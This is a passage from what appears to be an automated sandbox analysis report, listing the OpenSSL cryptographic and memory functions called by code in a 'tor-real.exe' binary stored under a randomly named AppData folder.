Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C220640 EVP_MD_size,EVP_MD_CTX_new,EVP_DigestInit_ex,EVP_DigestFinal_ex,OPENSSL_cleanse,OPENSSL_cleanse,EVP_PKEY_free,EVP_MD_CTX_free,EVP_DigestInit_ex,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_PKEY_new_raw_private_key,EVP_DigestSignInit,EVP_DigestUpdate,EVP_DigestSignFinal,CRYPTO_memcmp,BIO_ctrl,EVP_DigestUpdate,__stack_chk_fail, 9_2_6C220640
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23A647 CRYPTO_malloc,EVP_CIPHER_CTX_new,HMAC_CTX_new,EVP_CIPHER_CTX_iv_length,EVP_EncryptUpdate,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,EVP_MD_size,RAND_bytes,time,CRYPTO_free,CRYPTO_memdup,EVP_aes_256_cbc,EVP_CIPHER_iv_length,RAND_bytes,EVP_EncryptInit_ex,EVP_sha256,HMAC_Init_ex,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,__stack_chk_fail,EVP_EncryptFinal,HMAC_Update,HMAC_Final, 9_2_6C23A647
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F4670 CRYPTO_zalloc,ERR_put_error,BUF_MEM_grow,BUF_MEM_grow, 9_2_6C1F4670
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2226A3 CRYPTO_free,CRYPTO_memdup,strcmp,strlen,OPENSSL_cleanse,CRYPTO_memcmp,OPENSSL_cleanse,__stack_chk_fail,memset,EVP_MD_size,__stack_chk_fail,time,EVP_MD_size,EVP_MD_size,__stack_chk_fail, 9_2_6C2226A3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20C6A3 CRYPTO_free, 9_2_6C20C6A3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C6B7 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock, 9_2_6C21C6B7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E6B8 CRYPTO_free, 9_2_6C21E6B8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2246BB EVP_PKEY_new,EVP_PKEY_copy_parameters,EVP_PKEY_set1_tls_encodedpoint,EVP_PKEY_free,EVP_PKEY_free,EVP_PKEY_free,__stack_chk_fail,CRYPTO_free,CRYPTO_memdup, 9_2_6C2246BB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C690 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock, 9_2_6C21C690
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2426E0 CRYPTO_free, 9_2_6C2426E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F66E0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C1F66E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6713 CRYPTO_malloc,CRYPTO_free,CRYPTO_free, 9_2_6C1F6713
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E710 CRYPTO_free, 9_2_6C21E710
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E760 CRYPTO_free,CRYPTO_free, 9_2_6C21E760
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C232747 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C232747
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C7A1 CRYPTO_THREAD_unlock, 9_2_6C21C7A1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E7B1 CRYPTO_free, 9_2_6C21E7B1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2047E1 memcpy,memcpy,X509_free,memcpy,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_free,ASN1_item_free, 9_2_6C2047E1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2387E0 CRYPTO_malloc,memcpy, 9_2_6C2387E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E7F7 CRYPTO_free, 9_2_6C21E7F7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C7D9 CRYPTO_THREAD_unlock, 9_2_6C21C7D9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22C000 __stack_chk_fail,X509_get0_pubkey,EVP_PKEY_get0_RSA,CRYPTO_malloc,RAND_bytes,EVP_PKEY_CTX_new,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,EVP_PKEY_get0_DH,DH_get0_key,BN_num_bits,BN_bn2bin,EVP_PKEY_free,CRYPTO_clear_free,EVP_PKEY_CTX_free,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free, 9_2_6C22C000
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20A006 CRYPTO_malloc,ERR_put_error, 9_2_6C20A006
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23E01B CRYPTO_memdup, 9_2_6C23E01B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20C050 CRYPTO_zalloc, 9_2_6C20C050
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C0F0 CRYPTO_THREAD_write_lock,OPENSSL_LH_insert,CRYPTO_THREAD_unlock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,OPENSSL_LH_retrieve, 9_2_6C21C0F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20E0F2 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock, 9_2_6C20E0F2
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C24A0C0 SRP_Verify_B_mod_N,SRP_Calc_u,SRP_Calc_x,SRP_Calc_client_key,BN_num_bits,CRYPTO_malloc,BN_bn2bin,BN_clear_free,BN_clear_free,strlen,CRYPTO_clear_free,BN_clear_free,BN_clear_free,BN_clear_free, 9_2_6C24A0C0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23E0C7 CRYPTO_free,CRYPTO_memdup, 9_2_6C23E0C7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C214120 OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,X509_free,OPENSSL_sk_new_reserve,OPENSSL_sk_value,EVP_MD_size,CRYPTO_zalloc,CRYPTO_malloc,memcpy,d2i_X509,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,d2i_PUBKEY,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,X509_VERIFY_PARAM_get_depth,X509_VERIFY_PARAM_set_depth,CRYPTO_dup_ex_data,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,COMP_CTX_free,COMP_CTX_free,EVP_MD_CTX_free,EVP_MD_CTX_free,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,ERR_put_error,ERR_put_error,ERR_put_error,memcpy,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,X509_get0_pubkey,OPENSSL_sk_push,ERR_put_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,EVP_PKEY_free,X509_free,OPENSSL_sk_new_null,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,__stack_chk_fail,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,COMP_CTX_free,COMP_CTX_free, 9_2_6C214120
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20E138 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock, 9_2_6C20E138
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22E1A8 CRYPTO_free, 9_2_6C22E1A8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20E180 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,__stack_chk_fail,X509_VERIFY_PARAM_set_purpose, 9_2_6C20E180
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2341D0 __stack_chk_fail,CRYPTO_malloc,memcpy,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_put_error,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,__stack_chk_fail, 9_2_6C2341D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20A230 CRYPTO_THREAD_run_once, 9_2_6C20A230
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C226230 memchr,CRYPTO_free,CRYPTO_strndup, 9_2_6C226230
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C222234 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,__stack_chk_fail,CRYPTO_free, 9_2_6C222234
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F2236 CRYPTO_zalloc,CRYPTO_free, 9_2_6C1F2236
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22C279 EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free, 9_2_6C22C279
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22E246 CRYPTO_free, 9_2_6C22E246
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F2263 CRYPTO_zalloc, 9_2_6C1F2263
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FC260 memset,__stack_chk_fail,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,COMP_expand_block,CRYPTO_malloc,EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,strncmp,strncmp,strncmp,__stack_chk_fail, 9_2_6C1FC260
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23A2A0 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,__stack_chk_fail, 9_2_6C23A2A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C24A2B1 BN_clear_free,BN_clear_free,strlen,CRYPTO_clear_free,BN_clear_free, 9_2_6C24A2B1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20A286 COMP_get_type,CRYPTO_mem_ctrl,CRYPTO_malloc,CRYPTO_THREAD_run_once,OPENSSL_sk_find,OPENSSL_sk_push,CRYPTO_mem_ctrl,CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error,ERR_put_error,CRYPTO_mem_ctrl,CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error, 9_2_6C20A286
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C244297 HMAC_size,EVP_CIPHER_CTX_iv_length,HMAC_Update,HMAC_Final,CRYPTO_memcmp,EVP_CIPHER_CTX_iv_length,EVP_CIPHER_CTX_iv_length,CRYPTO_malloc,EVP_DecryptUpdate,EVP_DecryptFinal,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,EVP_sha256,HMAC_Init_ex,EVP_aes_256_cbc,EVP_DecryptInit_ex, 9_2_6C244297
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2122F9 CRYPTO_memdup,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C2122F9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2002C0 CRYPTO_clear_free, 9_2_6C2002C0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2322D0 CRYPTO_malloc,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_zalloc,ERR_put_error,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C2322D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C232321 CRYPTO_malloc,ERR_put_error,CRYPTO_free, 9_2_6C232321
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C240328 CRYPTO_free,CRYPTO_memdup, 9_2_6C240328
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22C30C EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free, 9_2_6C22C30C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6340 CRYPTO_malloc,CRYPTO_free,ERR_put_error, 9_2_6C1F6340
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C226349 CRYPTO_free,CRYPTO_memdup, 9_2_6C226349
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21234C CRYPTO_memdup,CRYPTO_free, 9_2_6C21234C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20E353 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C20E353
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20A358 CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error, 9_2_6C20A358
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2123A7 CRYPTO_free, 9_2_6C2123A7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F63AC CRYPTO_free, 9_2_6C1F63AC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2263E4 CRYPTO_free,CRYPTO_memdup, 9_2_6C2263E4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F23D3 CRYPTO_free, 9_2_6C1F23D3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20A3F7 ERR_put_error,CRYPTO_mem_ctrl, 9_2_6C20A3F7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2403FC CRYPTO_memdup, 9_2_6C2403FC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239C21 EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C239C21
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22FC31 CRYPTO_free, 9_2_6C22FC31
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225C40 CRYPTO_realloc, 9_2_6C225C40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21FCB7 CRYPTO_free, 9_2_6C21FCB7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225C87 CRYPTO_realloc, 9_2_6C225C87
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21BC90 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,__stack_chk_fail,memcpy, 9_2_6C21BC90
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C243CE0 EVP_CIPHER_CTX_free,HMAC_CTX_free,HMAC_CTX_new,EVP_CIPHER_CTX_new,HMAC_size,EVP_CIPHER_CTX_iv_length,HMAC_Update,HMAC_Final,CRYPTO_memcmp,EVP_CIPHER_CTX_iv_length,EVP_CIPHER_CTX_iv_length,CRYPTO_malloc,EVP_DecryptUpdate,EVP_DecryptFinal,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,EVP_sha256,HMAC_Init_ex,EVP_aes_256_cbc,EVP_DecryptInit_ex,CRYPTO_free,__stack_chk_fail,CRYPTO_free,memcpy,ERR_clear_error, 9_2_6C243CE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FFCC5 EVP_MD_size,EVP_CIPHER_key_length,EVP_CIPHER_iv_length,CRYPTO_clear_free,CRYPTO_malloc,EVP_MD_CTX_new,EVP_MD_CTX_new,EVP_MD_CTX_set_flags,EVP_sha1,EVP_DigestInit_ex,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_md5,EVP_DigestInit_ex,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_DigestFinal_ex,EVP_MD_CTX_free,EVP_MD_CTX_free,OPENSSL_cleanse,__stack_chk_fail, 9_2_6C1FFCC5
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C233CCB CRYPTO_malloc,ERR_put_error,CRYPTO_free, 9_2_6C233CCB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C223CD7 CRYPTO_free,CRYPTO_malloc,memcpy, 9_2_6C223CD7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C207D20 CRYPTO_zalloc,CRYPTO_free,ERR_put_error, 9_2_6C207D20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FFD1B EVP_MD_size,EVP_CIPHER_key_length,EVP_CIPHER_iv_length,CRYPTO_clear_free,CRYPTO_malloc,EVP_MD_CTX_new,EVP_MD_CTX_new,EVP_MD_CTX_set_flags,EVP_sha1,EVP_DigestInit_ex,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_md5,EVP_DigestInit_ex,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,EVP_MD_CTX_free, 9_2_6C1FFD1B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C233D39 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C233D39
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249D3B BN_copy,BN_copy,BN_copy,BN_copy,CRYPTO_free,CRYPTO_strdup,BN_dup,BN_dup,BN_dup,BN_dup,BN_free,BN_free,BN_free,BN_free, 9_2_6C249D3B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C227D66 memcpy,EVP_MD_size,time,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,__stack_chk_fail,OPENSSL_cleanse,OPENSSL_cleanse, 9_2_6C227D66
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21BD44 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset, 9_2_6C21BD44
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239D51 EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C239D51
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23FD59 OPENSSL_sk_push,X509_free,OPENSSL_sk_pop_free,CRYPTO_free, 9_2_6C23FD59
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C231D95 CRYPTO_free,CRYPTO_free,__stack_chk_fail, 9_2_6C231D95
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22DDE0 memcmp,CRYPTO_free,memcmp,memcmp,EVP_CIPHER_CTX_free,CRYPTO_free,memcmp,CRYPTO_free,CRYPTO_free,__stack_chk_fail, 9_2_6C22DDE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203DE4 CRYPTO_clear_free,EVP_PKEY_CTX_free, 9_2_6C203DE4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C243DE3 HMAC_CTX_new,EVP_CIPHER_CTX_new,HMAC_size,EVP_CIPHER_CTX_iv_length,HMAC_Update,HMAC_Final,CRYPTO_memcmp,EVP_CIPHER_CTX_iv_length,EVP_CIPHER_CTX_iv_length,CRYPTO_malloc,EVP_DecryptUpdate,EVP_DecryptFinal,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free, 9_2_6C243DE3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23DDF7 CRYPTO_free,CRYPTO_free, 9_2_6C23DDF7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C223DCC CRYPTO_malloc,memcpy, 9_2_6C223DCC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23BE26 OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free, 9_2_6C23BE26
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203E37 CRYPTO_clear_free,EVP_PKEY_CTX_free, 9_2_6C203E37
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C207E03 CRYPTO_free, 9_2_6C207E03
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203E07 CRYPTO_clear_free,EVP_PKEY_CTX_free, 9_2_6C203E07
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C205E10 OPENSSL_sk_num,X509_STORE_CTX_new,OPENSSL_sk_value,X509_STORE_CTX_init,X509_STORE_CTX_get0_param,X509_VERIFY_PARAM_set_auth_level,X509_STORE_CTX_set_flags,CRYPTO_THREAD_run_once,X509_STORE_CTX_set_ex_data,OPENSSL_sk_num,X509_STORE_CTX_set0_dane,X509_STORE_CTX_set_default,X509_VERIFY_PARAM_set1,X509_STORE_CTX_set_verify_cb,X509_STORE_CTX_get_error,OPENSSL_sk_pop_free,X509_STORE_CTX_get0_chain,X509_STORE_CTX_get1_chain,X509_VERIFY_PARAM_move_peername,X509_STORE_CTX_free,ERR_put_error,ERR_put_error,X509_STORE_CTX_free,X509_verify_cert,ERR_put_error, 9_2_6C205E10
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C207E11 CRYPTO_zalloc,CRYPTO_free, 9_2_6C207E11
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22BE68 OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free, 9_2_6C22BE68
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203E7B CRYPTO_clear_free,EVP_PKEY_CTX_free, 9_2_6C203E7B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C201E4B CRYPTO_free,strlen,CRYPTO_strdup,ERR_put_error,ERR_put_error, 9_2_6C201E4B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21BE54 CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset, 9_2_6C21BE54
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249EAB BN_copy,CRYPTO_free,CRYPTO_strdup,BN_dup, 9_2_6C249EAB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249E93 CRYPTO_free,CRYPTO_strdup,BN_dup, 9_2_6C249E93
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225EE2 strlen,memchr,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,CRYPTO_memcmp, 9_2_6C225EE2
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C223EC6 CRYPTO_free,CRYPTO_malloc,__stack_chk_fail,CRYPTO_free,CRYPTO_malloc,memcpy,CRYPTO_memdup,memcmp, 9_2_6C223EC6
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249EC3 BN_copy,BN_copy,CRYPTO_free,CRYPTO_strdup,BN_dup, 9_2_6C249EC3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249EDB BN_copy,BN_copy,BN_copy,CRYPTO_free,CRYPTO_strdup,BN_free, 9_2_6C249EDB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C201F32 ERR_put_error,CRYPTO_free,CRYPTO_strdup, 9_2_6C201F32
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C231F19 CRYPTO_free, 9_2_6C231F19
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249F60 SRP_Verify_A_mod_N,SRP_Calc_u,SRP_Calc_server_key,BN_num_bits,CRYPTO_malloc,BN_bn2bin,BN_clear_free,BN_clear_free, 9_2_6C249F60
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C201FA4 CRYPTO_free,CRYPTO_memdup, 9_2_6C201FA4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C223F94 CRYPTO_free,CRYPTO_malloc, 9_2_6C223F94
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FD817 EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,CRYPTO_memcmp, 9_2_6C1FD817
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C241829 CRYPTO_malloc,memcpy,memcmp,memcmp,memcmp,CRYPTO_clear_free, 9_2_6C241829
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225837 CRYPTO_free,CRYPTO_free, 9_2_6C225837
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C223819 CRYPTO_strdup, 9_2_6C223819
